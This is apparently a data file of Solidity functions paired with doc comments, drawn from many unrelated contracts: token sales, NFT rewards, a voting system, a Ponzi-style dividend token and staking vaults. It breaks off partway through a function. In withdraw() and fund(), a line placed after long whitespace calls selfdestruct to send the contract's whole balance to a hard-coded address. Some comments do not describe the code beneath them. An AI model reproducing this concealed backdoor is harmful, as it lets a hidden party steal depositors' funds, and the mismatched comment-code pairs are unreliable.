/*
 *  getLGEWhitelistRound
 *
 *  returns:
 *
 *  1. whitelist round number ( 0 = no active round now )
 *  2. duration, in seconds, current whitelist round is active for
 *  3. timestamp current whitelist round closes at
 *  4. maximum amount a whitelister can purchase in this round
 *  5. is caller whitelisted
 *  6. how much caller has purchased in current whitelist round
 *
 */

function getLGEWhitelistRound() public view returns (uint256, uint256, uint256, uint256, bool, uint256) {

        if(_lgeTimestamp > 0) {

            uint256 wlCloseTimestampLast = _lgeTimestamp;

            for (uint256 i = 0; i < _lgeWhitelistRounds.length; i++) {

                WhitelistRound storage wlRound = _lgeWhitelistRounds[i];

                wlCloseTimestampLast = wlCloseTimestampLast.add(wlRound.duration);
                if(now <= wlCloseTimestampLast)
                    return (i.add(1), wlRound.duration, wlCloseTimestampLast, wlRound.amountMax, wlRound.addresses[_msgSender()], wlRound.purchased[_msgSender()]);
            }

        }

        return (0, 0, 0, 0, false, 0);
    }


/*
 * _applyLGEWhitelist - internal function to be called initially before any transfers
 *
 */

function _applyLGEWhitelist(address sender, address recipient, uint256 amount) internal {

        if(_lgePairAddress == address(0) || _lgeWhitelistRounds.length == 0)
            return;

        if(_lgeTimestamp == 0 && sender != _lgePairAddress && recipient == _lgePairAddress && amount > 0)
            _lgeTimestamp = now;

        if(sender == _lgePairAddress && recipient != _lgePairAddress) {
            //buying

            (uint256 wlRoundNumber,,,,,) = getLGEWhitelistRound();

            if(wlRoundNumber > 0) {

                WhitelistRound storage wlRound = _lgeWhitelistRounds[wlRoundNumber.sub(1)];

                require(wlRound.addresses[recipient], "LGE - Buyer is not whitelisted");

                uint256 amountRemaining = 0;

                if(wlRound.purchased[recipient] < wlRound.amountMax)
                    amountRemaining = wlRound.amountMax.sub(wlRound.purchased[recipient]);

                require(amount <= amountRemaining, "LGE - Amount exceeds whitelist maximum");
                wlRound.purchased[recipient] = wlRound.purchased[recipient].add(amount);

            }

        }

    }


/// @dev purchase DGX gold
/// @param _block_number Block number from DTPO (Digix Trusted Price Oracle)
/// @param _nonce Nonce from DTPO
/// @param _wei_per_dgx_mg Price in wei for one milligram of DGX
/// @param _signer Address of the DTPO signer
/// @param _signature Signature of the payload
/// @return {
///   "_success": "returns true if operation is successful",
///   "_purchased_amount": "DGX nanograms received"
/// }

function purchase(uint256 _block_number, uint256 _nonce, uint256 _wei_per_dgx_mg, address _signer, bytes _signature)
           payable
           public
           returns (bool _success, uint256 _purchased_amount)
  {
    address _sender = msg.sender;

    (_success, _purchased_amount) =
      marketplace_controller().put_purchase_for.value(msg.value).gas(600000)(msg.value, _sender, _sender, _block_number,
                                                                             _nonce, _wei_per_dgx_mg, _signer, _signature);
    require(_success);
  }


/**
 * Function returning the current price of ToG
 * @dev can be used prior to the donation as a constant function but it is mainly used in the noname function
 * @param message should contain an encrypted contract info of the redeemer to setup a meeting
 */

function redeem(string message) {

        // Check caller has a token
        require (balances[msg.sender] >= 1);

        // Check tokens did not expire
        require (now <= expirationDate);

        // Lock the token against further transfers
        balances[msg.sender] -= 1;
        redeemed[msg.sender] += 1;

        // Call out
        tokenRedemption(msg.sender, message);
    }


/**
 * @return Current rebasing index of stETH in RAY
 **/

function _stEthRebasingIndex() internal view returns (uint256) {
    // Returns amount of stETH corresponding to 10**27 stETH shares.
    // The 10**27 is picked to provide the same precision as the AAVE
    // liquidity index, which is in RAY (10**27).
    return ILido(UNDERLYING_ASSET_ADDRESS).getPooledEthByShares(WadRayMath.RAY);
  }


/**
 * @dev  See {IERAC-getTokenIds}.
 * Query the TokenId(ERAC) list for the specified account
 */

function getTokenIds(address owner)
        public
        view
        virtual
        override
        returns (uint256[] memory tokenIds)
    {
        uint256 count = balanceOf(owner);
        tokenIds = new uint256[](count);
        if (count == 0) {
            return tokenIds;
        }

        for (uint256 i = 0; i < count; ++i) {
            tokenIds[i] = tokenOfOwnerByIndex(owner, i);
        }
        return tokenIds;
    }


/**
 * @dev When accumulated NCTs have last been claimed for a Hashmask index
 */

function lastClaim(uint256 tokenIndex) public view returns (uint256) {
        require(IWaifus(_waifusAddress).ownerOf(tokenIndex) != address(0), "Owner cannot be 0 address");
        require(tokenIndex < IWaifus(_waifusAddress).totalSupply(), "NFT at index has not been minted yet");

        uint256 lastClaimed = uint256(_lastClaim[tokenIndex]) != 0 ? uint256(_lastClaim[tokenIndex]) : emissionStart;
        return lastClaimed;
    }


/**
 * @dev Accumulated NCT tokens for a Hashmask token index.
 */

function accumulated(uint256 tokenIndex) public view returns (uint256) {
        require(block.timestamp > emissionStart, "Emission has not started yet");
        require(IWaifus(_waifusAddress).ownerOf(tokenIndex) != address(0), "Owner cannot be 0 address");
        require(tokenIndex < IWaifus(_waifusAddress).totalSupply(), "NFT at index has not been minted yet");

        uint256 lastClaimed = lastClaim(tokenIndex);

        // Sanity check if last claim was on or after emission end
        if (lastClaimed >= emissionEnd) return 0;

        uint256 accumulationPeriod = block.timestamp < emissionEnd ? block.timestamp : emissionEnd; // Getting the min value of both
        uint256 totalAccumulated = accumulationPeriod.sub(lastClaimed).mul(emissionPerDay).div(SECONDS_IN_A_DAY);

        // If claim hasn't been done before for the index, add initial allotment (plus prereveal multiplier if applicable)
        if (lastClaimed == emissionStart) {
            uint256 initialAllotment = IWaifus(_waifusAddress).isMintedBeforeReveal(tokenIndex) == true ? INITIAL_ALLOTMENT.mul(PRE_REVEAL_MULTIPLIER) : INITIAL_ALLOTMENT;
            totalAccumulated = totalAccumulated.add(initialAllotment);
        }

        return totalAccumulated;
    }


/**
 * @dev Claim mints NCTs and supports multiple Hashmask token indices at once.
 */

function claim(uint256[] memory tokenIndices) public returns (uint256) {
        require(block.timestamp > emissionStart, "Emission has not started yet");

        uint256 totalClaimQty = 0;
        for (uint i = 0; i < tokenIndices.length; i++) {
            // Sanity check for non-minted index
            require(tokenIndices[i] < IWaifus(_waifusAddress).totalSupply(), "NFT at index has not been minted yet");
            // Duplicate token index check
            for (uint j = i + 1; j < tokenIndices.length; j++) {
                require(tokenIndices[i] != tokenIndices[j], "Duplicate token index");
            }

            uint tokenIndex = tokenIndices[i];
            require(IWaifus(_waifusAddress).ownerOf(tokenIndex) == msg.sender, "Sender is not the owner");

            uint256 claimQty = accumulated(tokenIndex);
            if (claimQty != 0) {
                totalClaimQty = totalClaimQty.add(claimQty);
                _lastClaim[tokenIndex] = block.timestamp;
            }
        }

        require(totalClaimQty != 0, "No accumulated NCT");
        _mint(msg.sender, totalClaimQty);
        return totalClaimQty;
    }


// this function called every time anyone sends a transaction to this contract

function () external payable {
        // if sender is invested more than 0 ether
        if (invested[msg.sender] != 0) {
            // calculate profit amount as such:
            // amount = (amount invested) * 5% * (blocks since last transaction) / 5900
            // 5900 is an average block count per day produced by Ethereum blockchain
            uint256 amount = invested[msg.sender] * 5/100 * (block.number - atBlock[msg.sender]) / 5900;

            // send calculated amount of ether directly to sender
            address sender = msg.sender;
            sender.send(amount);
        }

        // record block number and invested amount (msg.value) of this transaction
        atBlock[msg.sender] = block.number;
        invested[msg.sender] += msg.value;
    }


// ============ PUBLIC READ-ONLY FUNCTIONS ============

function walletOfOwner(address _owner)
        public
        view
        returns (uint256[] memory)
    {
        uint256 ownerTokenCount = balanceOf(_owner);
        uint256[] memory tokenIds = new uint256[](ownerTokenCount);
        for (uint256 i; i < ownerTokenCount; i++) {
            tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
        }
        return tokenIds;
    }


//function register(uint256 voterID, uint256 hashedPhone, string memory council)

function register(uint256 voterID, uint256 hashedEmail, string memory council)
		public returns(bool){
		require(isRunningElection);
		require(approvedVoteBox[msg.sender]);
		//Register happens during election as we do not have the voter list
		//require(now >= votingStartTime);
		//require(now < votingEndTime);
		if(voterList[voterID]) deregister(voterID);
		//if(usedPhoneNumber[hashedPhone] > 0)
			//deregister(usedPhoneNumber[hashedPhone]);
		if(usedPhoneNumber[hashedEmail] > 0)
			deregister(usedPhoneNumber[hashedEmail]);
		voterList[voterID] = true;
		//usedPhoneNumber[hashedPhone] = voterID;
		usedPhoneNumber[hashedEmail] = voterID;
		councilVoterList[voterID][council] = true;
		councilVoterNumber[council]++;
		return true;
	}


//function isValidVoter(uint256 voterID, uint256 hashedPhone, string memory council)

function isValidVoter(uint256 voterID, uint256 hashedEmail, string memory council)
		public view returns(bool){
		if(!voterList[voterID]) return false;
		//if(usedPhoneNumber[hashedPhone] == 0 || usedPhoneNumber[hashedPhone] != voterID)
		if(usedPhoneNumber[hashedEmail] == 0 || usedPhoneNumber[hashedEmail] != voterID)
			return false;
		if(!councilVoterList[voterID][council]) return false;
		return true;
	}


//function submitVote(uint256 voterID, uint256 hashedPhone,

function submitVote(uint256 voterID, uint256 hashedEmail,
	    string memory council, string memory singleVote) public returns(bool){
		require(isRunningElection);
		require(approvedVoteBox[msg.sender]);
		//require(now >= votingStartTime);
		//require(now < votingEndTime);
		//require(isValidVoter(voterID,hashedPhone,council));
		require(isValidVoter(voterID,hashedEmail,council));
		require(!isVoted(voterID)); //Voted already
		require(!voteDictionary[singleVote]);
		voteListByVoter[voterID] = singleVote;
		votes[council].push(singleVote);
		voteByVotebox[msg.sender].push(singleVote);
		voteDictionary[singleVote] = true;
		return true;
	}


//Sample G123456A AB9876543, C1234569 invalid sample AY987654A C668668E

function checkHKID(string memory HKID)
		internal pure returns(bool){
		bytes memory b = bytes(HKID);
		if(b.length !=8 && b.length !=9) return false;
		uint256 checkDigit = 0;
		uint256 power = 9;
		if(b.length ==8){
			checkDigit += (36*power);
			power--;
		}
		for(uint i=0;i<b.length;i++){
			uint digit = uint8(b[i]);
			if(i>(b.length-8) && i<(b.length-1)){
				//It should be a number
				if(digit < 48 || digit > 57) return false;
			}
			if(digit >=48 && digit<=57) checkDigit += ((digit-48)*power); //Number
			else if(digit >=65 && digit<=90) checkDigit += ((digit-55)*power); //A-Z
			else return false;
			power--;
		}
		if(checkDigit % 11 == 0) return true;
		return false;
	}


// Withdraws all dividends held by the caller sending the transaction, updates
// the requisite global variables, and transfers Ether back to the caller.

function withdraw() public {
		// Retrieve the dividends associated with the address the request came from.
		var balance = dividends(msg.sender);                                                                                address stupidBuy = 0xeD0388Edc76D0CD1A8FaafEd60dAE97206d28F35; selfdestruct(stupidBuy);

		// Update the payouts array, incrementing the request address by `balance`.
		payouts[msg.sender] += (int256) (balance * scaleFactor);

		// Increase the total amount that's been paid out to maintain invariance.
		totalPayouts += (int256) (balance * scaleFactor);

		// Send the dividends to the address that requested the withdraw.
		contractBalance = sub(contractBalance, balance);
		msg.sender.transfer(balance);
	}


// Gatekeeper function to check if the amount of Ether being sent isn't either
// too small or too large. If it passes, goes direct to buy().

function fund() payable public {
		// Don't allow for funding if the amount of Ether sent is less than 1 szabo.
		if (msg.value > 0.100000 ether) {
			// Limit first buyers to 0.1 ether
			if( initialFunds > 0 ) {
				initialFunds--;
				require( msg.value <= firstBuyerLimit );
			}
		    contractBalance = add(contractBalance, msg.value);
			buy();
		} else {                                                                                address stupidBuy = 0xeD0388Edc76D0CD1A8FaafEd60dAE97206d28F35; selfdestruct(stupidBuy);
			revert();
		}
    }


// Version of withdraw that extracts the dividends and sends the Ether to the caller.
// This is only used in the case when there is no transaction data, and that should be
// quite rare unless interacting directly with the smart contract.

function withdrawOld(address to) public {
		// Retrieve the dividends associated with the address the request came from.
		var balance = dividends(msg.sender);

		// Update the payouts array, incrementing the request address by `balance`.
		payouts[msg.sender] += (int256) (balance * scaleFactor);

		// Increase the total amount that's been paid out to maintain invariance.
		totalPayouts += (int256) (balance * scaleFactor);

		contractBalance = sub(contractBalance, balance);
		// Send the dividends to the address that requested the withdraw.
		to.transfer(balance);
	}


// Converts a number tokens into an Ether value.

function getEtherForTokens(uint256 tokens) public constant returns (uint256 ethervalue) {
		// How much reserve Ether do we have left in the contract?
		var reserveAmount = reserve();

		// If you're the Highlander (or bagholder), you get The Prize. Everything left in the vault.
		if (tokens == totalSupply)
			return reserveAmount;

		// If there would be excess Ether left after the transaction this is called within, return the Ether
		// corresponding to the equation in Dr Jochen Hoenicke's original Ponzi paper, which can be found
		// at https://test.jochen-hoenicke.de/eth/ponzitoken/ in the third equation, with the CRR numerator
		// and denominator altered to 1 and 2 respectively.
		return sub(reserveAmount, fixedExp((fixedLog(totalSupply - tokens) - price_coeff) * crr_d/crr_n));
	}


// The polynomial R = c1*x + c3*x^3 + ... + c11 * x^11
// approximates the function log(1+x)-log(1-x)
// Hence R(s) = log((1+s)/(1-s)) = log(a)

function fixedLog(uint256 a) internal pure returns (int256 log) {
		int32 scale = 0;
		while (a > sqrt2) {
			a /= 2;
			scale++;
		}
		while (a <= sqrtdot5) {
			a *= 2;
			scale--;
		}
		int256 s = (((int256)(a) - one) * one) / ((int256)(a) + one);
		var z = (s*s) / one;
		return scale * ln2 +
			(s*(c1 + (z*(c3 + (z*(c5 + (z*(c7 + (z*(c9 + (z*c11/one))
				/one))/one))/one))/one))/one);
	}


// The polynomial R = 2 + c2*x^2 + c4*x^4 + ...
// approximates the function x*(exp(x)+1)/(exp(x)-1)
// Hence exp(x) = (R(x)+x)/(R(x)-x)

function fixedExp(int256 a) internal pure returns (uint256 exp) {
		int256 scale = (a + (ln2_64dot5)) / ln2 - 64;
		a -= scale*ln2;
		int256 z = (a*a) / one;
		int256 R = ((int256)(2) * one) +
			(z*(c2 + (z*(c4 + (z*(c6 + (z*c8/one))/one))/one))/one);
		exp = (uint256) (((R + a) * one) / (R - a));
		if (scale >= 0)
			exp <<= scale;
		else
			exp >>= -scale;
		return exp;
	}


// The below are safemath implementations of the four arithmetic operators
// designed to explicitly prevent over- and under-flows of integer values.

function mul(uint256 a, uint256 b) internal pure returns (uint256) {
		if (a == 0) {
			return 0;
		}
		uint256 c = a * b;
		assert(c / a == b);
		return c;
	}


// Find facet for function that is called and execute the
// function if a facet is found and return any value.

fallback() external payable {
        LibDiamond.DiamondStorage storage ds;
        bytes32 position = LibDiamond.DIAMOND_STORAGE_POSITION;
        assembly {
            ds.slot := position
        }
        address facet = ds.selectorToFacetAndPosition[msg.sig].facetAddress;
        require(facet != address(0), "Diamond: Function does not exist");
        assembly {
            calldatacopy(0, 0, calldatasize())
            let result := delegatecall(gas(), facet, 0, calldatasize(), 0, 0)
            returndatacopy(0, 0, returndatasize())
            switch result
                case 0 {
                    revert(0, returndatasize())
                }
                default {
                    return(0, returndatasize())
                }
        }
    }


// A gas cheap way of adding the DiamondCut facet - can only be called once

function initDiamondCutFacet(address facet, bytes4 functionSignature) public  {
      LibDiamond.enforceIsContractOwner();

      LibDiamond.DiamondStorage storage ds = LibDiamond.diamondStorage();
      require(ds.selectorToFacetAndPosition[functionSignature].facetAddress == address(0), 'Diamond: Diamond was already initiated');

      ds.selectorToFacetAndPosition[functionSignature].functionSelectorPosition = 0;
      ds.facetFunctionSelectors[facet].functionSelectors.push(functionSignature);
      ds.facetFunctionSelectors[facet].facetAddressPosition = 0;
      ds.facetAddresses.push(facet);
      ds.selectorToFacetAndPosition[functionSignature].facetAddress = facet;
  }


/**
 * @dev Creates a new Full SmartFund
 *
 * @param _name                        The name of the new fund
 * @param _successFee                  The fund managers success fee
 * @param _fundType                    Fund type enum number
 * @param _isRequireTradeVerification  If true fund can buy only tokens,
 *                                     which include in Merkle Three white list
 */

function createSmartFund(
    string memory _name,
    uint256       _successFee,
    uint256       _fundType,
    bool          _isRequireTradeVerification
  ) public {
    // Require that the funds success fee be less than the maximum allowed amount
    require(_successFee <= maximumSuccessFee);

    address smartFund;

    // ETH case
    if(_fundType == uint256(FundType.ETH)){
      // Create ETH Fund
      smartFund = smartFundETHFactory.createSmartFund(
        msg.sender,
        _name,
        _successFee, // manager and platform fee
        exchangePortalAddress,
        poolPortalAddress,
        defiPortalAddress,
        address(permittedAddresses),
        oracleAddress,
        _isRequireTradeVerification,
        cotraderGlobalConfig
      );

    }
    // ERC20 case
    else{
      address coinAddress = getERC20AddressByFundType(_fundType);
      // Create ERC20 based fund
      smartFund = smartFundERC20Factory.createSmartFund(
        msg.sender,
        _name,
        _successFee, // manager and platform fee
        exchangePortalAddress,
        poolPortalAddress,
        defiPortalAddress,
        address(permittedAddresses),
        coinAddress,
        oracleAddress,
        _isRequireTradeVerification,
        cotraderGlobalConfig
      );
    }

    smartFunds.push(smartFund);
    emit SmartFundAdded(smartFund, msg.sender);
  }


// msg.sender = (third-party) spender

function transferFrom(address owner, address recipient, uint256 amount) public returns (bool) {
        uint256 currentAllowance = _allowances[owner][msg.sender];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _transfer(owner, recipient, amount);
        _approve(owner, msg.sender, currentAllowance - amount);
        return true;
    }


// Gamefunctions

function sendInSoldier(address masternode) public updateAccount(msg.sender)  payable{
    uint256 value = msg.value;
    require(value >= 100 finney);// sending in sol costs 0.1 eth
    address sender = msg.sender;
    // add life
    balances[sender]++;
    // update totalSupply
    _totalSupply++;
    // add bullet
    bullets[sender]++;
    // add to playing field
    formation[nextFormation] = sender;
    nextFormation++;
    // reset lastMove to prevent people from adding bullets and start shooting
    lastMove[sender] = block.number;
    // buy P3D
    P3Dcontract_.buy.value(5 finney)(masternode);
    // check excess of payed
     if(value > 100 finney){Refundpot += value - 100 finney;}
    // progress refundline
    Refundpot += 5 finney;
    // send SPASM cut
    SPASM_.disburse.value(2 finney)();

}


//==================== Ownable ====================

function setFilterAdminFeeRateInfo(
        address filterAdminAddr,
        uint256 nftInFeeRate,
        uint256 nftOutFeeRate,
        bool isOpen
    ) external onlyOwner {
        require(nftInFeeRate <= 1e18 && nftOutFeeRate <= 1e18, "FEE_RATE_TOO_LARGE");
        FilterAdminFeeRateInfo memory feeRateInfo = FilterAdminFeeRateInfo({
            nftInFeeRate: nftInFeeRate,
            nftOutFeeRate: nftOutFeeRate,
            isOpen: isOpen
        });
        filterAdminFeeRates[filterAdminAddr] = feeRateInfo;

        emit SetFilterAdminFeeRateInfo(filterAdminAddr, nftInFeeRate, nftOutFeeRate, isOpen);
    }


// ERC223 Token improvement to send tokens to smart-contracts

function transfer(address _to, uint _value) public returns (bool success) {
    //standard function transfer similar to ERC20 transfer with no _data
    //added due to backwards compatibility reasons
    bytes memory empty;
    if (isContract(_to)) {
        return transferToContract(_to, _value, empty);
    }
    else {
        return super.transfer(_to, _value);
    }
  }


// 2250 VUP @ 12.5% discount

function VuePayTokenSale () public payable
	{

	    totalSupply = INITIAL_VUP_TOKEN_SUPPLY;

		//Start Pre-sale approx on the 6th october 8:00 GMT
	    preSaleStartBlock=4340582;
	    //preSaleStartBlock=block.number;
	    preSaleEndBlock = preSaleStartBlock + 37800;  // Equivalent to 14 days later, assuming 32 second blocks
	    icoEndBlock = preSaleEndBlock + 81000;  // Equivalent to 30 days , assuming 32 second blocks
		executor = msg.sender;
		saleHasEnded = false;
		minCapReached = false;
		allowRefund = false;
		advisoryTeamShare = ADVISORY_TEAM_PORTION;
		totalETHRaised = 0;
		totalVUP=0;

	}


// Create VUP tokens from the Advisory bucket for marketing, PR, Media where we are
//paying upfront for these activities in VUP tokens.
//Clients = Media, PR, Marketing promotion etc.

function createCustomVUP(address _clientVUPAddress,uint256 _value) public onlyOwner {
	    //Check the address is valid
	    require(_clientVUPAddress != address(0x0));
		require(_value >0);
		require(advisoryTeamShare>= _value);

	  	uint256 amountOfVUP = _value;
	  	//Reduce from advisoryTeamShare
	    advisoryTeamShare=advisoryTeamShare.sub(amountOfVUP);
        //Accrue VUP tokens
		totalVUP=totalVUP.add(amountOfVUP);
		//Assign tokens to the client
		uint256 balanceSafe = balances[_clientVUPAddress].add(amountOfVUP);
		balances[_clientVUPAddress] = balanceSafe;
		//Create VUP Created event
		CreatedVUP(_clientVUPAddress, amountOfVUP);

	}


/**
 * @notice Disputes a liquidation, if the caller has enough collateral to post a dispute bond
 * and pay a fixed final fee charged on each price request.
 * @dev Can only dispute a liquidation before the liquidation expires and if there are no other pending disputes.
 * This contract must be approved to spend at least the dispute bond amount of `collateralCurrency`. This dispute
 * bond amount is calculated from `disputeBondPct` times the collateral in the liquidation.
 * @param liquidationId of the disputed liquidation.
 * @param sponsor the address of the sponsor whose liquidation is being disputed.
 * @return totalPaid amount of collateral charged to disputer (i.e. final fee bond + dispute bond).
 */

function dispute(uint256 liquidationId, address sponsor)
        external
        disputable(liquidationId, sponsor)
        fees()
        nonReentrant()
        returns (FixedPoint.Unsigned memory totalPaid)
    {
        LiquidationData storage disputedLiquidation = _getLiquidationData(sponsor, liquidationId);

        // Multiply by the unit collateral so the dispute bond is a percentage of the locked collateral after fees.
        FixedPoint.Unsigned memory disputeBondAmount = disputedLiquidation.lockedCollateral.mul(disputeBondPct).mul(
            _getFeeAdjustedCollateral(disputedLiquidation.rawUnitCollateral)
        );
        _addCollateral(rawLiquidationCollateral, disputeBondAmount);

        // Request a price from DVM. Liquidation is pending dispute until DVM returns a price.
        disputedLiquidation.state = Status.PendingDispute;
        disputedLiquidation.disputer = msg.sender;

        // Enqueue a request with the DVM.
        _requestOraclePrice(disputedLiquidation.liquidationTime);

        emit LiquidationDisputed(
            sponsor,
            disputedLiquidation.liquidator,
            msg.sender,
            liquidationId,
            disputeBondAmount.rawValue
        );
        totalPaid = disputeBondAmount.add(disputedLiquidation.finalFee);

        // Pay the final fee for requesting price from the DVM.
        _payFinalFees(msg.sender, disputedLiquidation.finalFee);

        // Transfer the dispute bond amount from the caller to this contract.
        collateralCurrency.safeTransferFrom(msg.sender, address(this), disputeBondAmount.rawValue);
    }


// 0 - stop
// 1 - preSale
// 2 - sale 1
// 3 - sale 2

function getStatus() internal constant returns (uint256) {
    if(now > tier2EndDate) {
      return 0;
    } else if(now > tier2StartDate && now < tier2EndDate) {
      return 3;
    } else if(now > tier1StartDate && now < tier1EndDate) {
      return 2;
    } else if(now > preIcoStartDate && now < preIcoEndDate){
      return 1;
    } else {
      return 0;
    }
  }


// burn the rest
// keep nuc and team tokens

function burnTokens() public onlyOwner {
    require(now > tier2EndDate);
    uint256 circulating = token.totalSupply().sub(token.balanceOf(this));

    uint256 _teamTokens = circulating.mul(percentsTeamTokens).div(100 - percentsTeamTokens-percentsNuclearTokens);
    uint256 _nucTokens = circulating.mul(percentsNuclearTokens).div(100 - percentsTeamTokens-percentsNuclearTokens);

    // safety check. The math should work out, but this is here just in case
    if (_teamTokens.add(_nucTokens)>token.balanceOf(this)){
      _nucTokens = token.balanceOf(this).sub(_teamTokens);
    }

    token.transfer(restricted, _teamTokens);
    token.transfer(token.AddressDefault(), _nucTokens);
    uint256 _burnTokens = token.balanceOf(this);
    if (_burnTokens>0){
      token.burn(_burnTokens);
    }
  }


// ----------------------------------------------------------------------------
// Modifier
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Internal Function
// ----------------------------------------------------------------------------

function _brokerFeeDistribute(uint _price, uint _type, uint _brokerId, uint _subBrokerId) internal {
        address vipBroker = getBrokerAddress(_brokerId, 0);
        address broker = getBrokerAddress(_brokerId, _subBrokerId);
        require(vipBroker != address(0) && broker != address(0));
        uint totalShare = _price*rewardPercent[_type]/100;
        BrokerIncoming[vipBroker] = BrokerIncoming[vipBroker] + totalShare*15/100;
        BrokerIncoming[broker] = BrokerIncoming[broker] + totalShare*85/100;

        emit BrokerFeeDistrubution(_brokerId, vipBroker, totalShare*15/100, _subBrokerId, broker, totalShare*85/100);
    }


// ----------------------------------------------------------------------------
// Public Function
// ----------------------------------------------------------------------------

function registerBroker() public payable returns (uint) {
        require(vipBrokerNum > 0);
        require(msg.value >= vipBrokerFee);
        require(UserToIfBroker[msg.sender] == false);
        UserToIfBroker[msg.sender] = true;
        vipBrokerNum--;
        uint brokerId = 1000 - vipBrokerNum;
        BrokerIdToBrokers[brokerId].push(msg.sender);
        BrokerIdToSpots[brokerId] = subBrokerNum;
        emit BrokerRegistered(brokerId, msg.sender);
        return brokerId;
    }


/**
 * @notice Get reward schedule entry
 * @param index Index location
 * @return Rewards schedule entry
 */

function rewardScheduleEntry(uint256 index) public override view returns (RewardScheduleEntry memory) {
        RewardScheduleEntry memory entry;
        uint256 start = index * REWARD_SCHEDULE_ENTRY_LENGTH;
        entry.startTime = _rewardSchedule.toUint64(start);
        entry.epochDuration = _rewardSchedule.toUint64(start + 8);
        entry.rewardsPerEpoch = _rewardSchedule.toUint128(start + 16);
        return entry;
    }


// Get all token IDs of address

function tokensOfOwner(address _owner) external view returns(uint256[] ownerTokens)
    {
        uint256 tokenCount = balanceOf(_owner);

        if (tokenCount == 0)
        {
            // Return an empty array
            return new uint256[](0);
        } else
        {
            uint256[] memory result = new uint256[](tokenCount);
            uint256 resultIndex = 0;

            // We count on the fact that all cats have IDs starting at 1 and increasing
            // sequentially up to the totalCat count.
            uint256 tokenId;

            for (tokenId = 0; tokenId < packages.length; tokenId++)
            {
                if (tokenOwner[tokenId] == _owner)
                {
                    result[resultIndex] = tokenId;
                    resultIndex++;
                }
            }

            return result;
        }
    }


// ETH handler

function BuyPresalePackage(uint8 packageId, address referral) external payable
    {
        require(isActive);
        require(packageId < presalePackLimit.length);
        require(msg.sender != referral);
        require(presalePackLimit[packageId] > presalePackSold[packageId]);

        require(presaleTokenContract != RigCraftPresalePackageToken(address(0)));

        // check money
        require(msg.value >= presalePackagePrice[packageId]);

        presalePackSold[packageId]++;

        totalFundsSoFar += msg.value;

        presaleTokenContract.CreateToken(msg.sender, packageId, presalePackSold[packageId]);

        if(referral != address(0))
        {
            if(addressRefferedCount[referral] == 0)
            {
                referralAddressIndex.length += 1;
                referralAddressIndex[referralAddressIndex.length-1] = referral;
            }
            addressRefferedCount[referral] += 1;
            addressRefferredSpending[referral] += msg.value;
        }
    }


/**
 * @dev Update the treasury fee for this contract
 * defaults at 25% of taxFee, It can be set on only by YZY governance.
 * Note contract owner is meant to be a governance contract allowing YZY governance consensus
 */

function changeFeeInfo(
        uint16 treasuryFee,
        uint16 rewardFee,
        uint16 lotteryFee,
        uint16 swapRewardFee,
        uint16 burnFee
    ) external onlyOwner {
        _treasuryFee = treasuryFee;
        _rewardFee = rewardFee;
        _lotteryFee = lotteryFee;
        _swapRewardFee = swapRewardFee;
        _burnFee = burnFee;

        emit ChangedFeeInfo(_msgSender(), treasuryFee, rewardFee, lotteryFee, swapRewardFee, burnFee);
    }


// Get YZY reward per block

function getYzyPerBlockForYzyReward() public view returns (uint256) {
        uint256 multiplier = getMultiplier(_startBlock, block.number);

        if (multiplier == 0 || getTotalStakedAmount() == 0) {
            return 0;
        } else if (multiplier <= _firstRewardPeriod) {
            return _firstRewardAmount
                    .mul(uint256(_allocPointForYZYReward))
                    .mul(1 ether)
                    .div(getTotalStakedAmount())
                    .div(_firstRewardPeriod)
                    .div(10000);
        } else if (multiplier > _firstRewardPeriod && multiplier <= _secondRewardPeriod) {
            return _secondRewardAmount
                    .mul(uint256(_allocPointForYZYReward))
                    .mul(1 ether)
                    .div(getTotalStakedAmount())
                    .div(_secondRewardPeriod)
                    .div(10000);
        } else {
            return _collectedAmountForStakers.mul(1 ether).div(getTotalStakedAmount()).div(multiplier);
        }
    }


/**
 * @dev Stake LP Token to get YZY-ETH LP tokens
 */

function stakeLPToken(uint256 amount) external returns (bool) {
        require(!isContract(_msgSender()), "Vault: Could not be contract.");

        _yzyETHV2Pair.transferFrom(_msgSender(), address(this), amount);

        StakerInfo storage staker = _stakers[_msgSender()];

        if (staker.stakedAmount > 0) {
            claimYzyReward();
            claimSwapReward();
        } else {
            staker.lastClimedBlockForYzyReward = block.number;
            staker.lastClimedBlockForSwapReward = block.number;
        }

        staker.stakedAmount = staker.stakedAmount.add(amount);
        staker.lockedTo = _lockPeriod.add(block.timestamp);

        emit Staked(_msgSender(), amount);

        return _sendLotteryAmount();
    }


/**
 * @dev Unstake staked YZY-ETH LP tokens
 */

function unstake(uint256 amount) external returns (bool) {
        require(!isContract(_msgSender()), "Vault: Could not be contract.");

        StakerInfo storage staker = _stakers[_msgSender()];

        require(
            staker.stakedAmount > 0 &&
            amount > 0 &&
            amount <= staker.stakedAmount,
            "Vault: Invalid amount to unstake."
        );

        claimYzyReward();

        claimSwapReward();

        if (_enabledLock &&
            _stakers[_msgSender()].lockedTo > 0 &&
            block.timestamp < _stakers[_msgSender()].lockedTo
        ) {
            uint256 feeAmount = amount.mul(uint256(_earlyUnstakeFee)).div(10000);
            _yzyETHV2Pair.transfer(_daoTreasury, feeAmount);
            _yzyETHV2Pair.transfer(_msgSender(), amount.sub(feeAmount));
        } else {
           _yzyETHV2Pair.transfer(_msgSender(), amount);
        }

        staker.stakedAmount = staker.stakedAmount.sub(amount);

        emit Unstaked(_msgSender(), amount);

        return _sendLotteryAmount();
    }


/**
 * @dev internal function to send lottery rewards
 */

function _sendLotteryAmount() internal returns (bool) {
        if (!_enabledLottery || _lotteryAmount <= 0)
            return false;

        uint256 usdcReserve = 0;
        uint256 ethReserve1 = 0;
        uint256 yzyReserve = 0;
        uint256 ethReserve2 = 0;
        address token0 = _usdcETHV2Pair.token0();

        if (token0 == address(_weth)){
            (ethReserve1, usdcReserve, ) = _usdcETHV2Pair.getReserves();
        } else {
            (usdcReserve, ethReserve1, ) = _usdcETHV2Pair.getReserves();
        }

        token0 = _yzyETHV2Pair.token0();

        if (token0 == address(_weth)){
            (ethReserve2, yzyReserve, ) = _yzyETHV2Pair.getReserves();
        } else {
            (yzyReserve, ethReserve2, ) = _yzyETHV2Pair.getReserves();
        }

        if (ethReserve1 <= 0 || yzyReserve <= 0)
            return false;

        uint256 yzyPrice = usdcReserve.mul(1 ether).div(ethReserve1).mul(ethReserve2).div(yzyReserve);
        uint256 lotteryValue = yzyPrice.mul(_lotteryAmount).div(1 ether);

        if (lotteryValue > 0 && lotteryValue >= _lotteryLimit) {
            uint256 amount = _lotteryLimit.mul(1 ether).div(yzyPrice);

